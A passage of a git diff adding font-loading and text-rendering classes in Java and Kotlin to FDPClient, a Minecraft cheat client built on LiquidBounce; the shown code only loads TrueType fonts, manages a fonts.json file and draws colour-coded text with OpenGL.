Int, var y: Int, var width: Int, var height: Int) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/font/CachedFont.kt b/src/main/java/net/ccbluex/liquidbounce/ui/font/CachedFont.kt new file mode 100644 index 0000000..cad7f1e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/font/CachedFont.kt @@ -0,0 +1,15 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.font + +import org.lwjgl.opengl.GL11 + +data class CachedFont(val displayList: Int, var lastUsage: Long, var deleted: Boolean = false) { + protected fun finalize() { + if (!deleted) + GL11.glDeleteLists(displayList, 1) + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/font/FontDetails.java b/src/main/java/net/ccbluex/liquidbounce/ui/font/FontDetails.java new file mode 100644 index 0000000..abe35df --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/font/FontDetails.java @@ -0,0 +1,19 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.font; + +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; + +@Retention(RetentionPolicy.RUNTIME) +public @interface FontDetails { + + String fontName(); + + String fileName() default ""; + + int fontSize() default -1; +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/font/Fonts.java b/src/main/java/net/ccbluex/liquidbounce/ui/font/Fonts.java new file mode 100644 index 0000000..859dd54 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/font/Fonts.java @@ -0,0 +1,439 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.font; + +import com.google.gson.*; +import net.ccbluex.liquidbounce.FDPClient; +import net.ccbluex.liquidbounce.utils.ClientUtils; +import net.ccbluex.liquidbounce.utils.FileUtils; +import net.minecraft.client.Minecraft; +import net.minecraft.client.gui.FontRenderer; +import net.minecraft.util.ResourceLocation; + +import java.awt.*; +import java.io.*; +import java.lang.reflect.Field; +import java.util.ArrayList; +import java.util.List; + +public class Fonts { + + @FontDetails(fontName = "Light", fontSize = 32, fileName = "regular.ttf") + public static GameFontRenderer font32; + @FontDetails(fontName = "superLight", fontSize = 28, fileName = "regular.ttf") + public static GameFontRenderer font28; + + public static TTFFontRenderer fontVerdana; + + @FontDetails(fontName = "Roboto Medium", fontSize = 35) + public static GameFontRenderer font35; + + @FontDetails(fontName = "Roboto Medium", fontSize = 40) + public static GameFontRenderer font40; + + @FontDetails(fontName = "Roboto Medium", fontSize = 48) + public static GameFontRenderer font48; + + @FontDetails(fontName = "Roboto Medium", fontSize = 72) + public static GameFontRenderer font72; + + @FontDetails(fontName = "Roboto Medium", fontSize = 30) + public static GameFontRenderer fontSmall; + + @FontDetails(fontName = "Roboto Medium", fontSize = 24) + public static GameFontRenderer fontTiny; + + @FontDetails(fontName = "Roboto Medium", fontSize = 52) + public static GameFontRenderer fontLarge; + + @FontDetails(fontName = "SF", fontSize = 35) + public static GameFontRenderer fontSFUI35; + + @FontDetails(fontName = "SF", fontSize = 40) + public static GameFontRenderer fontSFUI40; + + @FontDetails(fontName = "Roboto Bold", fontSize = 180) + public static GameFontRenderer fontBold180; + + @FontDetails(fontName = "Roboto Bold", fontSize = 40) + public static GameFontRenderer fontBold40; + + @FontDetails(fontName = "Roboto Bold", fontSize = 35) + public static GameFontRenderer fontBold35; + + @FontDetails(fontName = "Tahoma", fontSize = 35) + public static GameFontRenderer fontTahoma; + + @FontDetails(fontName = "Tahoma", fontSize = 30) + public static GameFontRenderer fontTahoma30; + + public static TTFFontRenderer fontTahomaSmall; + + @FontDetails(fontName = "Bangers", fontSize = 45) + public static GameFontRenderer fontBangers; + + @FontDetails(fontName = "ICONFONT_50", fontSize = 50) + public static GameFontRenderer ICONFONT_50; + + @FontDetails(fontName = "SF", fontSize = 40) + public static GameFontRenderer SF; + + @FontDetails(fontName = "SFUI40", fontSize = 20) + public static GameFontRenderer SFUI40; + + @FontDetails(fontName = "SFUI35", fontSize = 18) + public static GameFontRenderer SFUI35; + + @FontDetails(fontName = "SFUI24", fontSize = 10) + public static GameFontRenderer SFUI24; + + @FontDetails(fontName = "Gooboto24", fontSize = 24) + public static GameFontRenderer Gooboto24; + + @FontDetails(fontName = "Gooboto40", fontSize = 40) + public static GameFontRenderer Gooboto40; + + @FontDetails(fontName = "Icon",fontSize = 18) + public static GameFontRenderer icon18; + + @FontDetails(fontName = "Icon",fontSize = 15) + public static GameFontRenderer icon15; + + @FontDetails(fontName = "Icon",fontSize = 10) + public static GameFontRenderer icon10; + + @FontDetails(fontName = "Minecraft Font") + public static final FontRenderer minecraftFont = Minecraft.getMinecraft().fontRendererObj; + + @FontDetails(fontName = "jello40", fontSize = 40) + public static GameFontRenderer fontJello40; + + @FontDetails(fontName = "Jello30", fontSize = 30) + public static GameFontRenderer fontJello30; + + @FontDetails(fontName = "Tenacity35", fontSize = 35) + public static GameFontRenderer fontTenacity35; + + @FontDetails(fontName = "TenacityBold35", fontSize = 35) + public static GameFontRenderer fontTenacityBold35; + + @FontDetails(fontName = "tenacity40", fontSize = 40) + public static GameFontRenderer fontTenacity40; + + @FontDetails(fontName = "tenacityBold40", fontSize = 40) + public static GameFontRenderer fontTenacityBold40; + + @FontDetails(fontName = "TenacityIcon30", fontSize = 30) + public static GameFontRenderer fontTenacityIcon30; + + //fontTenacity35 fontTenacityBold35 + + private static final List<GameFontRenderer> CUSTOM_FONT_RENDERERS = new ArrayList<>(); + + public static void loadFonts() { + long l = System.currentTimeMillis(); + + ClientUtils.INSTANCE.logInfo("Loading Fonts."); + + font35 = new GameFontRenderer(getFont("Roboto-Medium.ttf", 35)); + font40 = new GameFontRenderer(getFont("Roboto-Medium.ttf", 40)); + font48 = new GameFontRenderer(getFont("Roboto-Medium.ttf", 48)); + font72 = new GameFontRenderer(getFont("Roboto-Medium.ttf", 72)); + fontSmall = new GameFontRenderer(getFont("Roboto-Medium.ttf", 30)); + fontTiny = new GameFontRenderer(getFont("Roboto-Medium.ttf", 24)); + fontLarge = new GameFontRenderer(getFont("Roboto-Medium.ttf", 60)); + fontSFUI35 = new GameFontRenderer(getFont("SF.ttf", 35)); + fontSFUI40 = new GameFontRenderer(getFont("SF.ttf", 40)); + ICONFONT_50 = new GameFontRenderer(getFont("stylesicons.ttf", 50)); + SF = new GameFontRenderer(getFont("SF.ttf", 20)); + SFUI40 = new GameFontRenderer(getFont("SF.ttf", 20)); + SFUI35 = new GameFontRenderer(getFont("SF.ttf", 18)); + SFUI24 = new GameFontRenderer(getFont("SF.ttf", 10)); + fontSFUI35 = new GameFontRenderer(getFont("SF.ttf", 35)); + fontSFUI40 = new GameFontRenderer(getFont("SF.ttf", 40)); + fontBold180 = new GameFontRenderer(getFont("Roboto-Bold.ttf", 180)); + fontBold40 = new GameFontRenderer(getFont("Roboto-Bold.ttf", 40)); + fontBold35 = new GameFontRenderer(getFont("Roboto-Bold.ttf", 35)); + fontTahomaSmall = new TTFFontRenderer(getFont("Tahoma.ttf", 11)); + fontVerdana = new TTFFontRenderer(getFont("Verdana.ttf", 7)); + Gooboto24 = new GameFontRenderer(getFont("gooboto.ttf",24)); + Gooboto40 = new GameFontRenderer(getFont("gooboto.ttf",40)); + // fonts above here may not work as this is a test + fontBangers = new GameFontRenderer(getFontcustom(45, "Bangers")); + icon18 = new GameFontRenderer(getFontcustom(18,"Icon")); + icon15 = new GameFontRenderer(getFontcustom(15,"Icon")); + icon10 = new GameFontRenderer(getFontcustom(10,"Icon")); + fontTahoma = new GameFontRenderer(getFontcustom(35,"Tahoma")); + fontTahoma30 = new GameFontRenderer(getFontcustom(30,"Tahoma")); + fontJello30 = new GameFontRenderer(getFontcustom(30,"jello")); + fontJello40 = new GameFontRenderer(getFontcustom(40,"jello")); + fontTenacity35 = new GameFontRenderer(getFontcustom(35, "tenacity")); + fontTenacityBold35 = new GameFontRenderer(getFontcustom(35, "tenacity-bold")); + fontTenacityIcon30 = new GameFontRenderer(getFontcustom(30, "Tenacityicon")); + fontTenacity40 = new GameFontRenderer(getFontcustom(40,"tenacity")); + fontTenacityBold40 = new GameFontRenderer(getFontcustom(40,"tenacity-bold")); + + + getCustomFonts(); + + initFonts(); + + for(final Field field : Fonts.class.getDeclaredFields()) { + try { + field.setAccessible(true); + final FontDetails fontDetails = field.getAnnotation(FontDetails.class); + + if(fontDetails!=null) { + if(!fontDetails.fileName().isEmpty()) + field.set(null,new GameFontRenderer(getFont(fontDetails.fileName(), fontDetails.fontSize()))); + } + }catch(final IllegalAccessException e) { + e.printStackTrace(); + } + } + + try { + CUSTOM_FONT_RENDERERS.clear(); + + final File fontsFile = new File(FDPClient.fileManager.getFontsDir(), "fonts.json"); + + if(fontsFile.exists()) { + final JsonElement jsonElement = new JsonParser().parse(new BufferedReader(new FileReader(fontsFile))); + + if(jsonElement instanceof JsonNull) + return; + + final JsonArray jsonArray = (JsonArray) jsonElement; + + for(final JsonElement element : jsonArray) { + if(element instanceof JsonNull) + return; + + final JsonObject fontObject = (JsonObject) element; + + CUSTOM_FONT_RENDERERS.add(new GameFontRenderer(getFont(fontObject.get("fontFile").getAsString(), fontObject.get("fontSize").getAsInt()))); + } + }else{ + fontsFile.createNewFile(); + + final PrintWriter printWriter = new PrintWriter(new FileWriter(fontsFile)); + printWriter.println(new GsonBuilder().setPrettyPrinting().create().toJson(new JsonArray())); + printWriter.close(); + } + }catch(final Exception e) { + e.printStackTrace(); + } + + ClientUtils.INSTANCE.logInfo("Loaded Fonts. (" + (System.currentTimeMillis() - l) + "ms)"); + } + + private static void initFonts() { + try { + initSingleFont("regular.ttf", "assets/minecraft/fdpclient/font/regular.ttf"); + }catch(IOException e) { + e.printStackTrace(); + } + } + + private static Font getFontcustom(int size,String fontname) { + Font font; + try { + InputStream is = Minecraft.getMinecraft().getResourceManager() + .getResource(new ResourceLocation("fdpclient/font/"+fontname+".ttf")).getInputStream(); + font = Font.createFont(0, is); + font = font.deriveFont(Font.PLAIN, size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("default", Font.PLAIN, size); + } + return font; + } + private static Font getFont1(int size) { + Font font; + try { + InputStream is = Minecraft.getMinecraft().getResourceManager() + .getResource(new ResourceLocation("fdpclient/font/icon.ttf")).getInputStream(); + font = Font.createFont(0, is); + font = font.deriveFont(Font.PLAIN, size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("default", Font.PLAIN, size); + } + return font; + } + private static Font getFont2(int size) { + Font font; + try { + InputStream is = Minecraft.getMinecraft().getResourceManager() + .getResource(new ResourceLocation("fdpclient/font/regular.ttf")).getInputStream(); + font = Font.createFont(0, is); + font = font.deriveFont(Font.PLAIN, size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("defualt", Font.PLAIN, size); + } + return font; + } + private static Font getFont3(int size) { + Font font; + try { + InputStream is = Minecraft.getMinecraft().getResourceManager() + .getResource(new ResourceLocation("fdpclient/font/SFBOLD.ttf")).getInputStream(); + font = Font.createFont(0, is); + font = font.deriveFont(Font.PLAIN, size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("SFBold", Font.PLAIN, size); + } + return font; + } + private static Font getFont4(int size) { + Font font; + try { + InputStream is = Minecraft.getMinecraft().getResourceManager() + .getResource(new ResourceLocation("fdpclient/font/tenacity.ttf")).getInputStream(); + font = Font.createFont(0, is); + font = font.deriveFont(Font.PLAIN, size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("SFBold", Font.PLAIN, size); + } + return font; + } + private static Font getFont5(int size) { + Font font; + try { + InputStream is = Minecraft.getMinecraft().getResourceManager() + .getResource(new ResourceLocation("fdpclient/font/tenacity-bold.ttf")).getInputStream(); + font = Font.createFont(0, is); + font = font.deriveFont(Font.PLAIN, size); + } catch (Exception ex) { + ex.printStackTrace(); + System.out.println("Error loading font"); + font = new Font("SFBold", Font.PLAIN, size); + } + return font; + } + + private static void initSingleFont(String name, String resourcePath) throws IOException { + File file=new File(FDPClient.fileManager.getFontsDir(), name); + if(!file.exists()) + FileUtils.INSTANCE.unpackFile(file, resourcePath); + } + + public static FontRenderer getFontRenderer(final String name, final int size) { + for (final Field field : Fonts.class.getDeclaredFields()) { + try { + field.setAccessible(true); + + final Object o = field.get(null); + + if (o instanceof FontRenderer) { + final FontDetails fontDetails = field.getAnnotation(FontDetails.class); + + if (fontDetails.fontName().equals(name) && fontDetails.fontSize() == size) + return (FontRenderer) o; + } + } catch (final IllegalAccessException e) { + e.printStackTrace(); + } + } + + for (final GameFontRenderer liquidFontRenderer : CUSTOM_FONT_RENDERERS) { + final Font font = liquidFontRenderer.getDefaultFont().getFont(); + + if (font.getName().equals(name) && font.getSize() == size) + return liquidFontRenderer; + } + + return minecraftFont; + } + + public static Object[] getFontDetails(final FontRenderer fontRenderer) { + for (final Field field : Fonts.class.getDeclaredFields()) { + try { + field.setAccessible(true); + + final Object o = field.get(null); + + if (o.equals(fontRenderer)) { + final FontDetails fontDetails = field.getAnnotation(FontDetails.class); + + return new Object[] {fontDetails.fontName(), fontDetails.fontSize()}; + } + } catch (final IllegalAccessException e) { + e.printStackTrace(); + } + } + + if (fontRenderer instanceof GameFontRenderer) { + final Font font = ((GameFontRenderer) fontRenderer).getDefaultFont().getFont(); + + return new Object[] {font.getName(), font.getSize()}; + } + + return null; + } + + public static List<FontRenderer> getFonts() { + final List<FontRenderer> fonts = new ArrayList<>(); + + for(final Field fontField : Fonts.class.getDeclaredFields()) { + try { + fontField.setAccessible(true); + + final Object fontObj = fontField.get(null); + + if(fontObj instanceof FontRenderer) fonts.add((FontRenderer) fontObj); + }catch(final IllegalAccessException e) { + e.printStackTrace(); + } + } + + fonts.addAll(Fonts.CUSTOM_FONT_RENDERERS); + + return fonts; + } + + public static List<GameFontRenderer> getCustomFonts() { + final List<GameFontRenderer> fonts = new ArrayList<>(); + + for(final Field fontField : Fonts.class.getDeclaredFields()) { + try { + fontField.setAccessible(true); + + final Object fontObj = fontField.get(null); + + if(fontObj instanceof GameFontRenderer) fonts.add((GameFontRenderer) fontObj); + }catch(final IllegalAccessException e) { + e.printStackTrace(); + } + } + + fonts.addAll(Fonts.CUSTOM_FONT_RENDERERS); + + return fonts; + } + + private static Font getFont(final String fontName, final int size) { + try { + final InputStream inputStream = new FileInputStream(new File(FDPClient.fileManager.getFontsDir(), fontName)); + Font awtClientFont = Font.createFont(Font.TRUETYPE_FONT, inputStream); + awtClientFont = awtClientFont.deriveFont(Font.PLAIN, size); + inputStream.close(); + return awtClientFont; + }catch(final Exception e) { + e.printStackTrace(); + + return new Font("default", Font.PLAIN, size); + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/font/GameFontRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/ui/font/GameFontRenderer.kt new file mode 100644 index 0000000..3448173 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/font/GameFontRenderer.kt @@ -0,0 +1,421 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.font + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.TextEvent +import net.ccbluex.liquidbounce.features.module.modules.client.HUD +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.ccbluex.liquidbounce.utils.render.shader.shaders.RainbowFontShader +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.FontRenderer +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.resources.IResourceManager +import net.minecraft.util.ResourceLocation +import org.lwjgl.opengl.GL11 +import org.lwjgl.opengl.GL20 +import java.awt.Color +import java.awt.Font + +class +GameFontRenderer(font: Font) : FontRenderer(Minecraft.getMinecraft().gameSettings, + ResourceLocation("textures/font/ascii.png"), Minecraft.getMinecraft().textureManager, false) { + + var defaultFont = AWTFontRenderer(font) + private var boldFont = AWTFontRenderer(font.deriveFont(Font.BOLD)) + private var italicFont = AWTFontRenderer(font.deriveFont(Font.ITALIC)) + private var boldItalicFont = AWTFontRenderer(font.deriveFont(Font.BOLD or Font.ITALIC)) + + val height: Int + get() = defaultFont.height / 2 + + val size: Int + get() = defaultFont.font.size + + init { + FONT_HEIGHT = height + } + + fun getColorIndex2(type: Char): Int { + return when (type) { + in '0'..'9' -> type - '0' + in 'a'..'f' -> type - 'a' + 10 + in 'k'..'o' -> type - 'k' + 16 + 'r' -> 21 + else -> -1 + } + } + fun drawStringFade(s: String, x: Float, y: Float, color: Color) { + drawString(s, x+0.7F, y+0.7F, Color(0,0,0,color.alpha).rgb, false) + drawString(s, x, y, color.rgb, false) + } + + + fun drawString(s: String, x: Float, y: Float, color: Int) = drawString(s, x, y, color, false) + + override fun drawStringWithShadow(text: String, x: Float, y: Float, color: Int) = drawString(text, x, y, color, true) + + fun drawCenteredString(s: String, x: Float, y: Float, color: Int, shadow: Boolean) = drawString(s, x - getStringWidth(s) / 2F, y, color, shadow) + + fun drawCenteredString(s: String, x: Float, y: Float, color: Int) = drawStringWithShadow(s, x - getStringWidth(s) / 2F, y, color) + + override fun drawString(text: String, x: Float, y: Float, color: Int, shadow: Boolean): Int { + val TranslatedCurrentText = LanguageManager.replace(text) + var currentText = TranslatedCurrentText + + val event = TextEvent(currentText) + FDPClient.eventManager.callEvent(event) + currentText = event.text ?: return 0 + + val currY = y - 3F + + val rainbow = RainbowFontShader.INSTANCE.isInUse + + if (shadow) { + when { + HUD.shadowValue.get().equals("LiquidBounce", ignoreCase = true) -> drawText(currentText, x + 1f, currY + 1f, Color(0, 0, 0, 150).rgb, true) + HUD.shadowValue.get().equals("Default", ignoreCase = true) -> drawText(currentText, x + 0.5f, currY + 0.5f, Color(0, 0, 0, 130).rgb, true) + HUD.shadowValue.get().equals("Autumn", ignoreCase = true) -> drawText(currentText, x + 1f, currY + 1f, Color(20, 20, 20, 200).rgb, true) + HUD.shadowValue.get().equals("Outline", ignoreCase = true) -> { + drawText(currentText, x + 0.5f, currY + 0.5f, Color(0, 0, 0, 130).rgb, true) + drawText(currentText, x - 0.5f, currY - 0.5f, Color(0, 0, 0, 130).rgb, true) + drawText(currentText, x + 0.5f, currY - 0.5f, Color(0, 0, 0, 130).rgb, true) + drawText(currentText, x - 0.5f, currY + 0.5f, Color(0, 0, 0, 130).rgb, true) + } + } + } + + return drawText(currentText, x, currY, color, false, rainbow) + } + + private fun drawText(text: String?, x: Float, y: Float, color: Int, ignoreColor: Boolean, rainbow: Boolean = false): Int { + if (text == null) + return 0 + if (text.isNullOrEmpty()) + return x.toInt() + + GlStateManager.translate(x - 1.5, y + 0.5, 0.0) + GlStateManager.enableAlpha() + GlStateManager.enableBlend() + GlStateManager.tryBlendFuncSeparate(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA, GL11.GL_ONE, GL11.GL_ZERO) + GlStateManager.enableTexture2D() + + var currentColor = color + + if (currentColor and -0x4000000 == 0) + currentColor = currentColor or -16777216 + + val defaultColor = currentColor + + val alpha: Int = (currentColor shr 24 and 0xff) + + if (text.contains("§")) { + val parts = text.split("§") + + var currentFont = defaultFont + + var width = 0.0 + + // Color code states + var randomCase = false + var bold = false + var italic = false + var strikeThrough = false + var underline = false + + parts.forEachIndexed { index, part -> + if (part.isEmpty()) + return@forEachIndexed + + if (index == 0) { + currentFont.drawString(part, width, 0.0, currentColor) + width += currentFont.getStringWidth(part) + } else { + val words = part.substring(1) + val type = part[0] + + when (val colorIndex = getColorIndex2(type)) { + in 0..15 -> { + if (!ignoreColor) { + currentColor = ColorUtils.hexColors[colorIndex] or (alpha shl 24) + + if (rainbow) + GL20.glUseProgram(0) + } + + bold = false + italic = false + randomCase = false + underline = false + strikeThrough = false + } + 16 -> randomCase = true + 17 -> bold = true + 18 -> strikeThrough = true + 19 -> underline = true + 20 -> italic = true + 21 -> { + currentColor = color + + if (currentColor and -67108864 == 0) + currentColor = currentColor or -16777216 + + + + bold = false + italic = false + randomCase = false + underline = false + strikeThrough = false + } + } + + currentFont = if (bold && italic) + boldItalicFont + else if (bold) + boldFont + else if (italic) + italicFont + else + defaultFont + + currentFont.drawString(if (randomCase) ColorUtils.randomMagicText(words) else words, width, 0.0, currentColor) + + if (strikeThrough) + RenderUtils.drawLine(width / 2.0 + 1, currentFont.height / 3.0, + (width + currentFont.getStringWidth(words)) / 2.0 + 1, currentFont.height / 3.0, + FONT_HEIGHT / 16F) + + if (underline) + RenderUtils.drawLine(width / 2.0 + 1, currentFont.height / 2.0, + (width + currentFont.getStringWidth(words)) / 2.0 + 1, currentFont.height / 2.0, + FONT_HEIGHT / 16F) + + width += currentFont.getStringWidth(words) + } + } + } else { + // Color code states + defaultFont.drawString(text, 0.0, 0.0, currentColor) + } + + GlStateManager.disableBlend() + GlStateManager.translate(-(x - 1.5), -(y + 0.5), 0.0) + GlStateManager.color(1f, 1f, 1f, 1f) + + return (x + getStringWidth(text)).toInt() + } + + private fun drawText(text: String?, x: Float, y: Float, colorHex: Int, ignoreColor: Boolean): Int { + if (text == null) + return 0 + if (text.isNullOrEmpty()) + return x.toInt() + + GlStateManager.translate(x - 1.5, y + 0.5, 0.0) + GlStateManager.enableAlpha() + GlStateManager.enableBlend() + GlStateManager.tryBlendFuncSeparate(GL11.GL_SRC_ALPHA, GL11.GL_ONE_MINUS_SRC_ALPHA, GL11.GL_ONE, GL11.GL_ZERO) + GlStateManager.enableTexture2D() + + var hexColor = colorHex + if (hexColor and -67108864 == 0) { + hexColor = hexColor or -16777216 + } + + val alpha: Int = (hexColor shr 24 and 0xff) + + if (text.contains("§")) { + val parts = text.split("§") + + var currentFont = defaultFont + + var width = 0.0 + + // Color code states + var randomCase = false + var bold = false + var italic = false + var strikeThrough = false + var underline = false + + parts.forEachIndexed { index, part -> + if (part.isEmpty()) { + return@forEachIndexed + } + + if (index == 0) { + currentFont.drawString(part, width, 0.0, hexColor) + width += currentFont.getStringWidth(part) + } else { + val words = part.substring(1) + val type = part[0] + + when (val colorIndex = getColorIndex2(type)) { + in 0..15 -> { + if (!ignoreColor) { + hexColor = ColorUtils.hexColors[colorIndex] or (alpha shl 24) + } + + bold = false + italic = false + randomCase = false + underline = false + strikeThrough = false + } + 16 -> randomCase = true + 17 -> bold = true + 18 -> strikeThrough = true + 19 -> underline = true + 20 -> italic = true + 21 -> { + hexColor = colorHex + if (hexColor and -67108864 == 0) { + hexColor = hexColor or -16777216 + } + + bold = false + italic = false + randomCase = false + underline = false + strikeThrough = false + } + } + + currentFont = if (bold && italic) { + boldItalicFont + } else if (bold) { + boldFont + } else if (italic) { + italicFont + } else { + defaultFont + } + + currentFont.drawString(if (randomCase) ColorUtils.randomMagicText(words) else words, width, 0.0, hexColor) + + if (strikeThrough) { + RenderUtils.drawLine(width / 2.0 + 1, currentFont.height / 3.0, + (width + currentFont.getStringWidth(words)) / 2.0 + 1, currentFont.height / 3.0, + FONT_HEIGHT / 16F) + } + + if (underline) { + RenderUtils.drawLine(width / 2.0 + 1, currentFont.height / 2.0, + (width + currentFont.getStringWidth(words)) / 2.0 + 1, currentFont.height / 2.0, + FONT_HEIGHT / 16F) + } + + width += currentFont.getStringWidth(words) + } + } + } else { + defaultFont.drawString(text, 0.0, 0.0, hexColor) + } + + GlStateManager.translate(-(x - 1.5), -(y + 0.5), 0.0) + GlStateManager.resetColor() + GlStateManager.color(1f, 1f, 1f, 1f) + + return (x + getStringWidth(text)).toInt() + } + + override fun getColorCode(charCode: Char) = + ColorUtils.hexColors[getColorIndex2(charCode)] + + override fun getStringWidth(text: String): Int { + val TranslatedCurrentText = LanguageManager.replace(text) + var currentText = TranslatedCurrentText + + + val event = TextEvent(currentText) + FDPClient.eventManager.callEvent(event) + currentText = event.text ?: return 0 + + return if (currentText.contains("§")) { + val parts = currentText.split("§") + + var currentFont = defaultFont + var width = 0 + var bold = false + var italic = false + + parts.forEachIndexed { index, part -> + if (part.isEmpty()) { + return@forEachIndexed + } + + if (index == 0) { + width += currentFont.getStringWidth(part) + } else { + val words = part.substring(1) + val type = part[0] + val colorIndex = getColorIndex2(type) + when { + colorIndex < 16 -> { + bold = false + italic = false + } + colorIndex == 17 -> bold = true + colorIndex == 20 -> italic = true + colorIndex == 21 -> { + bold = false + italic = false + } + } + + currentFont = if (bold && italic) { + boldItalicFont + } else if (bold) { + boldFont + } else if (italic) { + italicFont + } else { + defaultFont + } + + width += currentFont.getStringWidth(words) + } + } + + width / 2 + } else { + defaultFont.getStringWidth(currentText) / 2 + } + } + + override fun getCharWidth(character: Char) = getStringWidth(character.toString()) + + override fun onResourceManagerReload(resourceManager: IResourceManager) {} + + override fun bindTexture(location: ResourceLocation?) {} + + + fun drawOutlineStringWithoutGL(s: String, x: Float, y: Float, color: Int,font: FontRenderer) { + + font.drawString(ColorUtils.stripColor(s), (x * 2 - 1).toInt(), (y * 2).toInt(), Color.BLACK.rgb) + font.drawString(ColorUtils.stripColor(s), (x * 2 + 1).toInt(), (y * 2).toInt(), Color.BLACK.rgb) + font.drawString(ColorUtils.stripColor(s), (x * 2).toInt(), (y * 2 - 1).toInt(), Color.BLACK.rgb) + font.drawString(ColorUtils.stripColor(s), (x * 2).toInt(), (y * 2 + 1).toInt(), Color.BLACK.rgb) + font.drawString(s, (x * 2).toInt(), (y * 2).toInt(), color) + } + + + companion object { + @JvmStatic + fun getColorIndex(type: Char): Int { + return when (type) { + in '0'..'9' -> type - '0' + in 'a'..'f' -> type - 'a' + 10 + in 'k'..'o' -> type - 'k' + 16 + 'r' -> 21 + else -> -1 + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/font/TTFFontRenderer.java b/src/main/java/net/ccbluex/liquidbounce/ui/font/TTFFontRenderer.java new file mode 100644 index 0000000..cc0e42b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/font/TTFFontRenderer.java @@ -0,0 +1,575 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.font; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.fonts.api.FontRenderer; +import net.ccbluex.liquidbounce.utils.render.ColorUtils; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.util.MathHelper; +import org.lwjgl.BufferUtils; +import org.lwjgl.opengl.GL11; +import org.lwjgl.util.vector.Vector2f; + +import java.awt.*; +import java.awt.geom.Rectangle2D; +import java.awt.image.BufferedImage; +import java.nio.ByteBuffer; +import java.util.Locale; + +/** + * Created by Zeb on 12/19/2016. + */ +public class TTFFontRenderer { + + /** + * The font to be drawn. + */ + private Font font; + + /** + * If fractional metrics should be used in the font renderer. + */ + private boolean fractionalMetrics = false; + + /** + * All the character data information (regular). + */ + private CharacterData[] regularData; + + /** + * All the character data information (bold). + */ + private CharacterData[] boldData; + + /** + * All the character data information (italics). + */ + private CharacterData[] italicsData; + + /** + * All the color codes used in minecraft. + */ + private int[] colorCodes = new int[32]; + + /** + * The margin on each texture. + */ + private static final int MARGIN = 4; + + /** + * The character that invokes color in a string when rendered. + */ + private static final char COLOR_INVOKER = '\247'; + + /** + * The random offset in obfuscated text. + */ + private static int RANDOM_OFFSET = 1; + + public TTFFontRenderer(Font font) { + this(font, 256); + } + + public TTFFontRenderer(Font font, int characterCount) { + this(font, characterCount, true); + } + + public TTFFontRenderer(Font font, int characterCount, boolean fractionalMetrics) { + this.font = font; + this.fractionalMetrics = fractionalMetrics; + + // Generates all the character textures. + this.regularData = setup(new CharacterData[characterCount], Font.PLAIN); + this.boldData = setup(new CharacterData[characterCount], Font.BOLD); + this.italicsData = setup(new CharacterData[characterCount], Font.ITALIC); + } + + /** + * Sets up the character data and textures. + * + * @param characterData The array of character data that should be filled. + * @param type The font type. (Regular, Bold, and Italics) + */ + private CharacterData[] setup(CharacterData[] characterData, int type) { + // Quickly generates the colors. + generateColors(); + + // Changes the type of the font to the given type. + Font font = this.font.deriveFont(type); + + // An image just to get font data. + BufferedImage utilityImage = new BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB); + + // The graphics of the utility image. + Graphics2D utilityGraphics = (Graphics2D) utilityImage.getGraphics(); + + // Sets the font of the utility image to the font. + utilityGraphics.setFont(font); + + // The font metrics of the utility image. + FontMetrics fontMetrics = utilityGraphics.getFontMetrics(); + + // Iterates through all the characters in the character set of the font renderer. + for (int index = 0; index < characterData.length; index++) { + // The character at the current index. + char character = (char) index; + + // The width and height of the character according to the font. + Rectangle2D characterBounds = fontMetrics.getStringBounds(character + "", utilityGraphics); + + // The width of the character texture. + float width = (float) characterBounds.getWidth() + (2 * MARGIN); + + // The height of the character texture. + float height = (float) characterBounds.getHeight(); + + // The image that the character will be rendered to. + BufferedImage characterImage = new BufferedImage(MathHelper.ceiling_double_int(width), MathHelper.ceiling_double_int(height), BufferedImage.TYPE_INT_ARGB); + + // The graphics of the character image. + Graphics2D graphics = (Graphics2D) characterImage.getGraphics(); + + // Sets the font to the input 